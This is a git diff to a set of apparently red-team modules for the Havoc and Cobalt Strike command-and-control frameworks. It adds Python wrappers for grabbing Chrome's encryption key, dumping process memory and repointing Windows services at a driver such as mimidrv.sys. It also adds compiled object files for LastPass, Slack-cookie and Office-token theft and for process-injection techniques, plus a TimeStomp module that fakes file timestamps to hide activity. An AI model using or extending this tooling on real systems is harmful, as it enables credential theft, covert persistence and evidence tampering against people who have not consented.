diff --git a/RemoteOps/CS-Remote-OPs-BOF b/RemoteOps/CS-Remote-OPs-BOF index 6568038..e23454d 160000 --- a/RemoteOps/CS-Remote-OPs-BOF +++ b/RemoteOps/CS-Remote-OPs-BOF @@ -1 +1 @@ -Subproject commit 6568038a899e2277ed85c5c62c7d970357ac8a6e +Subproject commit e23454d90b58394539a18fe4052c443514408935 diff --git a/RemoteOps/RemoteOps.py b/RemoteOps/RemoteOps.py index 55085f5..bc09ff0 100644 --- a/RemoteOps/RemoteOps.py +++ b/RemoteOps/RemoteOps.py @@ -103,6 +103,25 @@ def addusertogroup( demonID, *params ): demon.InlineExecute( TaskID, "go", f"bin/addusertogroup.{demon.ProcessArch}.o", packer.getbuffer(), False ) return TaskID + +def chromekey( demonID, *params ): + TaskID : str = None + demon : Demon = None + packer = Packer() + demon = Demon( demonID ) + + num_params = len(params) + + if num_params > 1: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" ) + return False + + + TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to grab the chrome key" ) + + demon.InlineExecute( TaskID, "go", f"bin/chromeKey.{demon.ProcessArch}.o", packer.getbuffer(), False ) + + return TaskID def enableuser( demonID, *params ): TaskID : str = None @@ -463,6 +482,57 @@ def sc_create( demonID, *params ): return TaskID +def sc_config( demonID, *params ): + TaskID : str = None + demon : Demon = None + packer = Packer() + demon = Demon( demonID ) + + num_params = len(params) + hostname = '' + + if num_params < 3: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" ) + return False + + if num_params > 5: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" ) + return False + + servicename = params[ 0 ] + binpath = params[ 1 ] + errormode = params[ 2 ] + startmode = params[ 3 ] + + if num_params == 5: + hostname = params[ 4 ] + + try: + errormode = int( errormode ) + assert errormode in [0, 1, 2, 3] + except Exception as e: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Invalid errormode" ) + return False + + try: + startmode = int( startmode ) + assert startmode in [2, 3, 4] + except Exception as e: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Invalid startmode" ) + return False + + packer.addstr(hostname) + packer.addstr(servicename) + packer.addstr(binpath) + packer.addshort(errormode) + packer.addshort(startmode) + + TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to modify the {servicename} service" ) + + demon.InlineExecute( TaskID, "go", f"bin/sc_config.{demon.ProcessArch}.o", packer.getbuffer(), False ) + + return TaskID + def sc_start( demonID, *params ): TaskID : str = None demon : Demon = None @@ -618,6 +688,36 @@ def adduser( demonID, *params ): demon.InlineExecute( TaskID, "go", f"bin/adduser.{demon.ProcessArch}.o", packer.getbuffer(), False ) return TaskID + +def procdump( demonID, *params ): + TaskID : str = None + demon : Demon = None + packer = Packer() + demon = Demon( demonID ) + + num_params = len(params) + PID = '' + OutFile = '' + + if num_params < 1: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" ) + return False + + if num_params > 2: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" ) + return False + + PID = params[ 0 ] + OutFile = params[ 1 ] + + packer.addstr(PID) + packer.addstr(OutFile) + + TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to dump the process memory of the provided PID" ) + + demon.InlineExecute( TaskID, "go", f"bin/procdump.{demon.ProcessArch}.o", packer.getbuffer(), False ) + + return TaskID RegisterCommand( adcs_request, "", "adcs_request", "Request an enrollment certificate", 0, "/CA:ca [/TEMPLATE:template] [/SUBJECT:subject] [/ALTNAME:altname] [/INSTALL] [/MACHINE]", "1337 c:\\windwos\\temp\\test.txt" ) RegisterCommand( addusertogroup, "", "addusertogroup", "Add the specified user to the specified group", 0, """ @@ -627,6 +727,7 @@ def adduser( demonID, *params ): DOMAIN Required. The domain/computer for the account. You must give the domain name for the user if it is a domain account, or use \"\" to target an account on the local machine.""", "eviluser Administrators \"\" \"\"" ) +RegisterCommand( chromekey, "", "chromekey", "Grabs chrome key", 0, """chromekey""", "chromekey" ) RegisterCommand( enableuser, "", "enableuser", "Activates (and if necessary enables) the specified user account on the target computer.", 0, """ USERNAME Required. The user name to activate/enable. HOSTNAME Required. The domain/computer for the account. You must give @@ -659,8 +760,7 @@ def adduser( demonID, *params ): HKU HKCR REGPATH Required. The registry path to save. - FILEOUT Required. The output file. -Note: The FILEOUT is saved to disk on target, so don't forget to clean up.""", "HKLM Some\\Path c:\\windows\\temp\\reg.txt" ) + FILEOUT Required. The output file. Note: The FILEOUT is saved to disk on target, so don't forget to clean up.""", "HKLM Some\\Path c:\\windows\\temp\\reg.txt" ) RegisterCommand( reg_set, "", "reg_set", "This command creates or sets the specified registry key (or value) on the target host.", 0, """ HOSTNAME Optional. The host to connect to and run the commnad on. HIVE Required. The registry hive containing the REGPATH. Possible @@ -709,6 +809,22 @@ def adduser( demonID, *params ): 4 - SERVICE_WIN32_SHARE_PROCESS (Service that shares a process with one or more other services) HOSTNAME Optional. The host to connect to and run the commnad on. The local system is targeted if a HOSTNAME is not specified.""", "mimidrv mimidrv C:\\Windows\\Temp\\mimidrv.sys \"\" 0 3 2" ) +RegisterCommand( sc_config, "", "sc_config", "This command modifies a service on the target host.", 0, """ + SVCNAME Required. The name of the service to create. + BINPATH Required. The binary path of the service to execute. + ERRORMODE Required. The error mode of the service. The valid + options are: + 0 - ignore errors + 1 - normal logging + 2 - log severe errors + 3 - log critical errors + STARTMODE Required. The start mode for the service. The valid + options are: + 2 - auto start + 3 - on demand start + 4 - disabled + HOSTNAME Optional. The host to connect to and run the commnad on. The + local system is targeted if a HOSTNAME is not specified.""", "VSS C:\\Windows\\Temp\\mimidrv.sys 0 3 " ) RegisterCommand( sc_start, "", "sc_start", "This command starts the specified service on the target host.", 0, """ SVCNAME Required. The name of the service to start. HOSTNAME Optional. The host to connect to and run the command on. The @@ -731,3 +847,6 @@ def adduser( demonID, *params ): PASSWORD Required. The password of the new user. SERVER Optional. If entered, the user will be created on that machine. If not, the local machine will be used.""", "eviluser Password123 dc01.contoso.local" ) +RegisterCommand( procdump, "", "procdump", "Dump the specified process to the specified output file", 0, """ + PID Required. PID of process to dump. + OUTFILE Required. Location and name of output file.""", " ") diff --git a/RemoteOps/bin/ProcessDestroy.x64.o b/RemoteOps/bin/ProcessDestroy.x64.o new file mode 100644 index 0000000..1391c3b Binary files /dev/null and b/RemoteOps/bin/ProcessDestroy.x64.o differ diff --git a/RemoteOps/bin/ProcessDestroy.x86.o b/RemoteOps/bin/ProcessDestroy.x86.o new file mode 100644 index 0000000..0c50eea Binary files /dev/null and b/RemoteOps/bin/ProcessDestroy.x86.o differ diff --git a/RemoteOps/bin/ProcessListHandles.x64.o b/RemoteOps/bin/ProcessListHandles.x64.o new file mode 100644 index 0000000..381f345 Binary files /dev/null and b/RemoteOps/bin/ProcessListHandles.x64.o differ diff --git a/RemoteOps/bin/ProcessListHandles.x86.o b/RemoteOps/bin/ProcessListHandles.x86.o new file mode 100644 index 0000000..d88a363 Binary files /dev/null and b/RemoteOps/bin/ProcessListHandles.x86.o differ diff --git a/RemoteOps/bin/adcs_request.x64.o b/RemoteOps/bin/adcs_request.x64.o index fd9bc8b..7e6c054 100644 Binary files a/RemoteOps/bin/adcs_request.x64.o and b/RemoteOps/bin/adcs_request.x64.o differ diff --git a/RemoteOps/bin/adcs_request.x86.o b/RemoteOps/bin/adcs_request.x86.o index 6063da2..94bafc7 100644 Binary files a/RemoteOps/bin/adcs_request.x86.o and b/RemoteOps/bin/adcs_request.x86.o differ diff --git a/RemoteOps/bin/adduser.x64.o b/RemoteOps/bin/adduser.x64.o index 61bd32e..0909047 100644 Binary files a/RemoteOps/bin/adduser.x64.o and b/RemoteOps/bin/adduser.x64.o differ diff --git a/RemoteOps/bin/adduser.x86.o b/RemoteOps/bin/adduser.x86.o index 472a59d..35938a2 100644 Binary files a/RemoteOps/bin/adduser.x86.o and b/RemoteOps/bin/adduser.x86.o differ diff --git a/RemoteOps/bin/addusertogroup.x64.o b/RemoteOps/bin/addusertogroup.x64.o index 31d93a9..5f011df 100644 Binary files a/RemoteOps/bin/addusertogroup.x64.o and b/RemoteOps/bin/addusertogroup.x64.o differ diff --git a/RemoteOps/bin/addusertogroup.x86.o b/RemoteOps/bin/addusertogroup.x86.o index 4c24a3f..9e1d014 100644 Binary files a/RemoteOps/bin/addusertogroup.x86.o and b/RemoteOps/bin/addusertogroup.x86.o differ diff --git a/RemoteOps/bin/chromeKey.x64.o b/RemoteOps/bin/chromeKey.x64.o new file mode 100644 index 0000000..aca40a4 Binary files /dev/null and b/RemoteOps/bin/chromeKey.x64.o differ diff --git a/RemoteOps/bin/chromeKey.x86.o b/RemoteOps/bin/chromeKey.x86.o new file mode 100644 index 0000000..41f7730 Binary files /dev/null and b/RemoteOps/bin/chromeKey.x86.o differ diff --git a/RemoteOps/bin/clipboard.x64.o b/RemoteOps/bin/clipboard.x64.o new file mode 100644 index 0000000..4c609e4 Binary files /dev/null and b/RemoteOps/bin/clipboard.x64.o differ diff --git a/RemoteOps/bin/clipboard.x86.o b/RemoteOps/bin/clipboard.x86.o new file mode 100644 index 0000000..ad1477d Binary files /dev/null and b/RemoteOps/bin/clipboard.x86.o differ diff --git a/RemoteOps/bin/clipboardinject.x64.o b/RemoteOps/bin/clipboardinject.x64.o new file mode 100644 index 0000000..df4547d Binary files /dev/null and b/RemoteOps/bin/clipboardinject.x64.o differ diff --git a/RemoteOps/bin/clipboardinject.x86.o b/RemoteOps/bin/clipboardinject.x86.o new file mode 100644 index 0000000..e5f4fb6 Binary files /dev/null and b/RemoteOps/bin/clipboardinject.x86.o differ diff --git a/RemoteOps/bin/conhost.x64.o b/RemoteOps/bin/conhost.x64.o new file mode 100644 index 0000000..f9da342 Binary files /dev/null and b/RemoteOps/bin/conhost.x64.o differ diff --git a/RemoteOps/bin/conhost.x86.o b/RemoteOps/bin/conhost.x86.o new file mode 100644 index 0000000..89c7298 Binary files /dev/null and b/RemoteOps/bin/conhost.x86.o differ diff --git a/RemoteOps/bin/createremotethread.x64.o b/RemoteOps/bin/createremotethread.x64.o new file mode 100644 index 0000000..83d1919 Binary files /dev/null and b/RemoteOps/bin/createremotethread.x64.o differ diff --git a/RemoteOps/bin/createremotethread.x86.o b/RemoteOps/bin/createremotethread.x86.o new file mode 100644 index 0000000..11ad573 Binary files /dev/null and b/RemoteOps/bin/createremotethread.x86.o differ diff --git a/RemoteOps/bin/ctray.x64.o b/RemoteOps/bin/ctray.x64.o new file mode 100644 index 0000000..e517079 Binary files /dev/null and b/RemoteOps/bin/ctray.x64.o differ diff --git a/RemoteOps/bin/ctray.x86.o b/RemoteOps/bin/ctray.x86.o new file mode 100644 index 0000000..5a74ba6 Binary files /dev/null and b/RemoteOps/bin/ctray.x86.o differ diff --git a/RemoteOps/bin/dde.x64.o b/RemoteOps/bin/dde.x64.o new file mode 100644 index 0000000..2818d83 Binary files /dev/null and b/RemoteOps/bin/dde.x64.o differ diff --git a/RemoteOps/bin/dde.x86.o b/RemoteOps/bin/dde.x86.o new file mode 100644 index 0000000..d407379 Binary files /dev/null and b/RemoteOps/bin/dde.x86.o differ diff --git a/RemoteOps/bin/enableuser.x64.o b/RemoteOps/bin/enableuser.x64.o index b1dd6e4..5d3f8d9 100644 Binary files a/RemoteOps/bin/enableuser.x64.o and b/RemoteOps/bin/enableuser.x64.o differ diff --git a/RemoteOps/bin/enableuser.x86.o b/RemoteOps/bin/enableuser.x86.o index 062f4c0..8028f69 100644 Binary files a/RemoteOps/bin/enableuser.x86.o and b/RemoteOps/bin/enableuser.x86.o differ diff --git a/RemoteOps/bin/get_priv.x64.o b/RemoteOps/bin/get_priv.x64.o new file mode 100644 index 0000000..7ab61be Binary files /dev/null and b/RemoteOps/bin/get_priv.x64.o differ diff --git a/RemoteOps/bin/get_priv.x86.o b/RemoteOps/bin/get_priv.x86.o new file mode 100644 index 0000000..9400ee9 Binary files /dev/null and b/RemoteOps/bin/get_priv.x86.o differ diff --git a/RemoteOps/bin/ghost_task.x64.o b/RemoteOps/bin/ghost_task.x64.o new file mode 100644 index 0000000..8d4cb30 Binary files /dev/null and b/RemoteOps/bin/ghost_task.x64.o differ diff --git a/RemoteOps/bin/ghost_task.x86.o b/RemoteOps/bin/ghost_task.x86.o new file mode 100644 index 0000000..fe4a682 Binary files /dev/null and b/RemoteOps/bin/ghost_task.x86.o differ diff --git a/RemoteOps/bin/kernelcallbacktable.x64.o b/RemoteOps/bin/kernelcallbacktable.x64.o new file mode 100644 index 0000000..8426c3f Binary files /dev/null and b/RemoteOps/bin/kernelcallbacktable.x64.o differ diff --git a/RemoteOps/bin/kernelcallbacktable.x86.o b/RemoteOps/bin/kernelcallbacktable.x86.o new file mode 100644 index 0000000..85c36ce Binary files /dev/null and b/RemoteOps/bin/kernelcallbacktable.x86.o differ diff --git a/RemoteOps/bin/lastpass.x64.o b/RemoteOps/bin/lastpass.x64.o new file mode 100644 index 0000000..bb1e74d Binary files /dev/null and b/RemoteOps/bin/lastpass.x64.o differ diff --git a/RemoteOps/bin/lastpass.x86.o b/RemoteOps/bin/lastpass.x86.o new file mode 100644 index 0000000..d2bf7c1 Binary files /dev/null and b/RemoteOps/bin/lastpass.x86.o differ diff --git a/RemoteOps/bin/ntcreatethread.x64.o b/RemoteOps/bin/ntcreatethread.x64.o new file mode 100644 index 0000000..1e14181 Binary files /dev/null and b/RemoteOps/bin/ntcreatethread.x64.o differ diff --git a/RemoteOps/bin/ntcreatethread.x86.o b/RemoteOps/bin/ntcreatethread.x86.o new file mode 100644 index 0000000..37168f0 Binary files /dev/null and b/RemoteOps/bin/ntcreatethread.x86.o differ diff --git a/RemoteOps/bin/ntqueueapcthread.x64.o b/RemoteOps/bin/ntqueueapcthread.x64.o new file mode 100644 index 0000000..99f06c5 Binary files /dev/null and b/RemoteOps/bin/ntqueueapcthread.x64.o differ diff --git a/RemoteOps/bin/ntqueueapcthread.x86.o b/RemoteOps/bin/ntqueueapcthread.x86.o new file mode 100644 index 0000000..3a115a7 Binary files /dev/null and b/RemoteOps/bin/ntqueueapcthread.x86.o differ diff --git a/RemoteOps/bin/office_tokens.x64.o b/RemoteOps/bin/office_tokens.x64.o new file mode 100644 index 0000000..9431d1e Binary files /dev/null and b/RemoteOps/bin/office_tokens.x64.o differ diff --git a/RemoteOps/bin/office_tokens.x86.o b/RemoteOps/bin/office_tokens.x86.o new file mode 100644 index 0000000..e29ffad Binary files /dev/null and b/RemoteOps/bin/office_tokens.x86.o differ diff --git a/RemoteOps/bin/procdump.x64.o b/RemoteOps/bin/procdump.x64.o new file mode 100644 index 0000000..54c62eb Binary files /dev/null and b/RemoteOps/bin/procdump.x64.o differ diff --git a/RemoteOps/bin/procdump.x86.o b/RemoteOps/bin/procdump.x86.o new file mode 100644 index 0000000..26c7844 Binary files /dev/null and b/RemoteOps/bin/procdump.x86.o differ diff --git a/RemoteOps/bin/reg_delete.x64.o b/RemoteOps/bin/reg_delete.x64.o index b8c0c4f..968c6f7 100644 Binary files a/RemoteOps/bin/reg_delete.x64.o and b/RemoteOps/bin/reg_delete.x64.o differ diff --git a/RemoteOps/bin/reg_delete.x86.o b/RemoteOps/bin/reg_delete.x86.o index b054f06..baea394 100644 Binary files a/RemoteOps/bin/reg_delete.x86.o and b/RemoteOps/bin/reg_delete.x86.o differ diff --git a/RemoteOps/bin/reg_save.x64.o b/RemoteOps/bin/reg_save.x64.o index 4ba5d02..d122ed2 100644 Binary files a/RemoteOps/bin/reg_save.x64.o and b/RemoteOps/bin/reg_save.x64.o differ diff --git a/RemoteOps/bin/reg_save.x86.o b/RemoteOps/bin/reg_save.x86.o index eea7d7d..f94acc5 100644 Binary files a/RemoteOps/bin/reg_save.x86.o and b/RemoteOps/bin/reg_save.x86.o differ diff --git a/RemoteOps/bin/reg_set.x64.o b/RemoteOps/bin/reg_set.x64.o index 4ce6d1a..689fb24 100644 Binary files a/RemoteOps/bin/reg_set.x64.o and b/RemoteOps/bin/reg_set.x64.o differ diff --git a/RemoteOps/bin/reg_set.x86.o b/RemoteOps/bin/reg_set.x86.o index feb635d..af198b0 100644 Binary files a/RemoteOps/bin/reg_set.x86.o and b/RemoteOps/bin/reg_set.x86.o differ diff --git a/RemoteOps/bin/sc_config.x64.o b/RemoteOps/bin/sc_config.x64.o new file mode 100644 index 0000000..27e144e Binary files /dev/null and b/RemoteOps/bin/sc_config.x64.o differ diff --git a/RemoteOps/bin/sc_config.x86.o b/RemoteOps/bin/sc_config.x86.o new file mode 100644 index 0000000..98c1125 Binary files /dev/null and b/RemoteOps/bin/sc_config.x86.o differ diff --git a/RemoteOps/bin/sc_create.x64.o b/RemoteOps/bin/sc_create.x64.o index 4ce18b3..fdbd1ad 100644 Binary files a/RemoteOps/bin/sc_create.x64.o and b/RemoteOps/bin/sc_create.x64.o differ diff --git a/RemoteOps/bin/sc_create.x86.o b/RemoteOps/bin/sc_create.x86.o index 01c3da9..3f5bbb5 100644 Binary files a/RemoteOps/bin/sc_create.x86.o and b/RemoteOps/bin/sc_create.x86.o differ diff --git a/RemoteOps/bin/sc_delete.x64.o b/RemoteOps/bin/sc_delete.x64.o index 4e96a5c..177d8fe 100644 Binary files a/RemoteOps/bin/sc_delete.x64.o and b/RemoteOps/bin/sc_delete.x64.o differ diff --git a/RemoteOps/bin/sc_delete.x86.o b/RemoteOps/bin/sc_delete.x86.o index 1edf1d3..053b35f 100644 Binary files a/RemoteOps/bin/sc_delete.x86.o and b/RemoteOps/bin/sc_delete.x86.o differ diff --git a/RemoteOps/bin/sc_description.x64.o b/RemoteOps/bin/sc_description.x64.o index 16a1fb6..7a061db 100644 Binary files a/RemoteOps/bin/sc_description.x64.o and b/RemoteOps/bin/sc_description.x64.o differ diff --git a/RemoteOps/bin/sc_description.x86.o b/RemoteOps/bin/sc_description.x86.o index 7856f17..4620617 100644 Binary files a/RemoteOps/bin/sc_description.x86.o and b/RemoteOps/bin/sc_description.x86.o differ diff --git a/RemoteOps/bin/sc_failure.x64.o b/RemoteOps/bin/sc_failure.x64.o new file mode 100644 index 0000000..36e758f Binary files /dev/null and b/RemoteOps/bin/sc_failure.x64.o differ diff --git a/RemoteOps/bin/sc_failure.x86.o b/RemoteOps/bin/sc_failure.x86.o new file mode 100644 index 0000000..2bcf9ab Binary files /dev/null and b/RemoteOps/bin/sc_failure.x86.o differ diff --git a/RemoteOps/bin/sc_start.x64.o b/RemoteOps/bin/sc_start.x64.o index d4b5f26..21215cb 100644 Binary files a/RemoteOps/bin/sc_start.x64.o and b/RemoteOps/bin/sc_start.x64.o differ diff --git a/RemoteOps/bin/sc_start.x86.o b/RemoteOps/bin/sc_start.x86.o index 4b54779..4808633 100644 Binary files a/RemoteOps/bin/sc_start.x86.o and b/RemoteOps/bin/sc_start.x86.o differ diff --git a/RemoteOps/bin/sc_stop.x64.o b/RemoteOps/bin/sc_stop.x64.o index dfaf200..6a6807f 100644 Binary files a/RemoteOps/bin/sc_stop.x64.o and b/RemoteOps/bin/sc_stop.x64.o differ diff --git a/RemoteOps/bin/sc_stop.x86.o b/RemoteOps/bin/sc_stop.x86.o index dde2e76..6079077 100644 Binary files a/RemoteOps/bin/sc_stop.x86.o and b/RemoteOps/bin/sc_stop.x86.o differ diff --git a/RemoteOps/bin/schtaskscreate.x64.o b/RemoteOps/bin/schtaskscreate.x64.o new file mode 100644 index 0000000..99dfc92 Binary files /dev/null and b/RemoteOps/bin/schtaskscreate.x64.o differ diff --git a/RemoteOps/bin/schtaskscreate.x86.o b/RemoteOps/bin/schtaskscreate.x86.o new file mode 100644 index 0000000..e219322 Binary files /dev/null and b/RemoteOps/bin/schtaskscreate.x86.o differ diff --git a/RemoteOps/bin/schtasksdelete.x64.o b/RemoteOps/bin/schtasksdelete.x64.o new file mode 100644 index 0000000..957d1d6 Binary files /dev/null and b/RemoteOps/bin/schtasksdelete.x64.o differ diff --git a/RemoteOps/bin/schtasksdelete.x86.o b/RemoteOps/bin/schtasksdelete.x86.o new file mode 100644 index 0000000..2ab1435 Binary files /dev/null and b/RemoteOps/bin/schtasksdelete.x86.o differ diff --git a/RemoteOps/bin/schtasksrun.x64.o b/RemoteOps/bin/schtasksrun.x64.o new file mode 100644 index 0000000..ed246be Binary files /dev/null and b/RemoteOps/bin/schtasksrun.x64.o differ diff --git a/RemoteOps/bin/schtasksrun.x86.o b/RemoteOps/bin/schtasksrun.x86.o new file mode 100644 index 0000000..149bb15 Binary files /dev/null and b/RemoteOps/bin/schtasksrun.x86.o differ diff --git a/RemoteOps/bin/schtasksstop.x64.o b/RemoteOps/bin/schtasksstop.x64.o new file mode 100644 index 0000000..7263184 Binary files /dev/null and b/RemoteOps/bin/schtasksstop.x64.o differ diff --git a/RemoteOps/bin/schtasksstop.x86.o b/RemoteOps/bin/schtasksstop.x86.o new file mode 100644 index 0000000..2011172 Binary files /dev/null and b/RemoteOps/bin/schtasksstop.x86.o differ diff --git a/RemoteOps/bin/setthreadcontext.x64.o b/RemoteOps/bin/setthreadcontext.x64.o new file mode 100644 index 0000000..620681d Binary files /dev/null and b/RemoteOps/bin/setthreadcontext.x64.o differ diff --git a/RemoteOps/bin/setthreadcontext.x86.o b/RemoteOps/bin/setthreadcontext.x86.o new file mode 100644 index 0000000..dba3412 Binary files /dev/null and b/RemoteOps/bin/setthreadcontext.x86.o differ diff --git a/RemoteOps/bin/setuserpass.x64.o b/RemoteOps/bin/setuserpass.x64.o index a60fa47..0d2df90 100644 Binary files a/RemoteOps/bin/setuserpass.x64.o and b/RemoteOps/bin/setuserpass.x64.o differ diff --git a/RemoteOps/bin/setuserpass.x86.o b/RemoteOps/bin/setuserpass.x86.o index 4033e08..0ecbb9e 100644 Binary files a/RemoteOps/bin/setuserpass.x86.o and b/RemoteOps/bin/setuserpass.x86.o differ diff --git a/RemoteOps/bin/shspawnas.x64.o b/RemoteOps/bin/shspawnas.x64.o new file mode 100644 index 0000000..9359b90 Binary files /dev/null and b/RemoteOps/bin/shspawnas.x64.o differ diff --git a/RemoteOps/bin/shspawnas.x86.o b/RemoteOps/bin/shspawnas.x86.o new file mode 100644 index 0000000..0d304b2 Binary files /dev/null and b/RemoteOps/bin/shspawnas.x86.o differ diff --git a/RemoteOps/bin/slack_cookie.x64.o b/RemoteOps/bin/slack_cookie.x64.o new file mode 100644 index 0000000..f6cd7d7 Binary files /dev/null and b/RemoteOps/bin/slack_cookie.x64.o differ diff --git a/RemoteOps/bin/slack_cookie.x86.o b/RemoteOps/bin/slack_cookie.x86.o new file mode 100644 index 0000000..d69141a Binary files /dev/null and b/RemoteOps/bin/slack_cookie.x86.o differ diff --git a/RemoteOps/bin/suspendresume.x64.o b/RemoteOps/bin/suspendresume.x64.o new file mode 100644 index 0000000..4fb79f6 Binary files /dev/null and b/RemoteOps/bin/suspendresume.x64.o differ diff --git a/RemoteOps/bin/suspendresume.x86.o b/RemoteOps/bin/suspendresume.x86.o new file mode 100644 index 0000000..a265cf4 Binary files /dev/null and b/RemoteOps/bin/suspendresume.x86.o differ diff --git a/RemoteOps/bin/svcctrl.x64.o b/RemoteOps/bin/svcctrl.x64.o new file mode 100644 index 0000000..3157ab4 Binary files /dev/null and b/RemoteOps/bin/svcctrl.x64.o differ diff --git a/RemoteOps/bin/svcctrl.x86.o b/RemoteOps/bin/svcctrl.x86.o new file mode 100644 index 0000000..d64f0da Binary files /dev/null and b/RemoteOps/bin/svcctrl.x86.o differ diff --git a/RemoteOps/bin/tooltip.x64.o b/RemoteOps/bin/tooltip.x64.o new file mode 100644 index 0000000..6e5bdeb Binary files /dev/null and b/RemoteOps/bin/tooltip.x64.o differ diff --git a/RemoteOps/bin/tooltip.x86.o b/RemoteOps/bin/tooltip.x86.o new file mode 100644 index 0000000..18a0bc4 Binary files /dev/null and b/RemoteOps/bin/tooltip.x86.o differ diff --git a/RemoteOps/bin/unexpireuser.x64.o b/RemoteOps/bin/unexpireuser.x64.o new file mode 100644 index 0000000..efda22a Binary files /dev/null and b/RemoteOps/bin/unexpireuser.x64.o differ diff --git a/RemoteOps/bin/unexpireuser.x86.o b/RemoteOps/bin/unexpireuser.x86.o new file mode 100644 index 0000000..46c7f71 Binary files /dev/null and b/RemoteOps/bin/unexpireuser.x86.o differ diff --git a/RemoteOps/bin/uxsubclassinfo.x64.o b/RemoteOps/bin/uxsubclassinfo.x64.o new file mode 100644 index 0000000..b4e6afd Binary files /dev/null and b/RemoteOps/bin/uxsubclassinfo.x64.o differ diff --git a/RemoteOps/bin/uxsubclassinfo.x86.o b/RemoteOps/bin/uxsubclassinfo.x86.o new file mode 100644 index 0000000..4fd705f Binary files /dev/null and b/RemoteOps/bin/uxsubclassinfo.x86.o differ diff --git a/TimeStomp/README.md b/TimeStomp/README.md new file mode 100644 index 0000000..65b80bf --- /dev/null +++ b/TimeStomp/README.md @@ -0,0 +1,14 @@ +# TimeStomp_bof +This is a very simple BOF that can be used with Cobalt Strike and other post exploitation frameworks that I reimplemented from one of my C++ tools. This BOF timestomps a target file to have the time attributes that match those of a source file on the same Windows system. + +## Purpose +While Cobalt Strike includes a native timestomp functionality, this was just an endeavor to continue learning about BOF development, C vs. C++ code integrations for those capabilities, and to make a publicly available timestomp BOF since other frameworks often don't natively include that capability but do support BOFs. + +## Usage +timestomp-bof 'target-file' 'source-file' + +## Compiling +The Makefile includes the Mingw command for compiling the BOF and can be executed by running 'make' from within the src directory. + +## Disclaimer +I made an honest attempt to include explicit error handling in this code but as with every thing you find on the internet, proper testing with your framework and to ensure this meets your use case is highly recommended prior to using this on any live assessments. This code is provided as is with no guarantees and is intended to only be used on authorized systems where you have approval to perform testing and/or research. diff --git a/TimeStomp/TimeStomp.py b/TimeStomp/TimeStomp.py new file mode 100644 index 0000000..4ffd8d2 --- /dev/null +++ b/TimeStomp/TimeStomp.py @@ -0,0 +1,35 @@ +from havoc import Demon, RegisterCommand, RegisterModule +import re + +def timestomp( demonID, *params ): + TaskID : str = None + demon : Demon = None + packer = Packer() + demon = Demon( demonID ) + + num_params = len(params) + + if num_params < 2: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" ) + return False + + if num_params > 2: + demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" ) + return False + + targetFile = params[ 0 ] + sourceFile = params[ 1 ] + + + packer.addWstr(targetFile) + packer.addWstr(sourceFile) + + TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to set last modified of to match that of " ) + + demon.InlineExecute( TaskID, "go", f"bin/timestomp.{demon.ProcessArch}.o", packer.getbuffer(), False ) + + return TaskID + +RegisterCommand( timestomp, "", "timestomp", "Sets last modified of to match that of ", 0, """ + targetFile Required. File to modify. + sourceFile Required. File to copy from""", "targetFile sourceFile" ) diff --git a/TimeStomp/bin/timestomp.cna b/TimeStomp/bin/timestomp.cna new file mode 100644 index 0000000..bc0b98c --- /dev/null +++ b/TimeStomp/bin/timestomp.cna @@ -0,0 +1,37 @@ +beacon_command_register( + "timestomp-bof", + "Timestomps the creation, last access and last write time of a target file to match a supplied source file that exists on the same system.", + "Synopsis: timestomp-bof " +); + +alias timestomp-bof { + if(size(@_) != 3) + { + berror($1, "Incorrect usage!"); + berror($1, beacon_command_detail("timestomp-bof")); + return; + } + + local('$barch $handle $data $args'); + + # Get beacon architecture + $barch = barch($1); + + # Ensure we are in an x64 beacon + if ($barch !eq 'x64') { + berror($1, "We just support x64 at the moment."); + return; + } + + # Load BOF + $handle = openf(script_resource("timestomp. $+ $barch $+ .o")); + $data = readb($handle, -1); + closef($handle); + + # Pack args + $args = bof_pack($1, "zz", $2, $3); + + btask($1, "TimeStomp_bof: by robot"); + + beacon_inline_execute($1, $data, "go", $args); +} diff --git a/TimeStomp/bin/timestomp.x64.o b/TimeStomp/bin/timestomp.x64.o new file mode 100644 index 0000000..eb54d31 Binary files /dev/null and b/TimeStomp/bin/timestomp.x64.o differ diff --git a/TimeStomp/makefile b/TimeStomp/makefile new file mode 100644 index 0000000..6d577ce --- /dev/null +++ b/TimeStomp/makefile @@ -0,0 +1,12 @@ +BOFNAME := dir +COMINCLUDE := -I src/ +CC_x64 := x86_64-w64-mingw32-gcc +CC_x86 := i686-w64-mingw32-gcc +CC=x86_64-w64-mingw32-clang + +all: + $(CC_x64) -o bin/$(BOFNAME).x64.o $(COMINCLUDE) -c src/timestomp.c + +clean: + rm -f /bin/$(BOFNAME).* + diff --git a/TimeStomp/src/beacon.h b/TimeStomp/src/beacon.h new file mode 100644 index 0000000..3613159 --- /dev/null +++ b/TimeStomp/src/beacon.h @@ -0,0 +1,61 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Cobalt Strike 4.1. + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 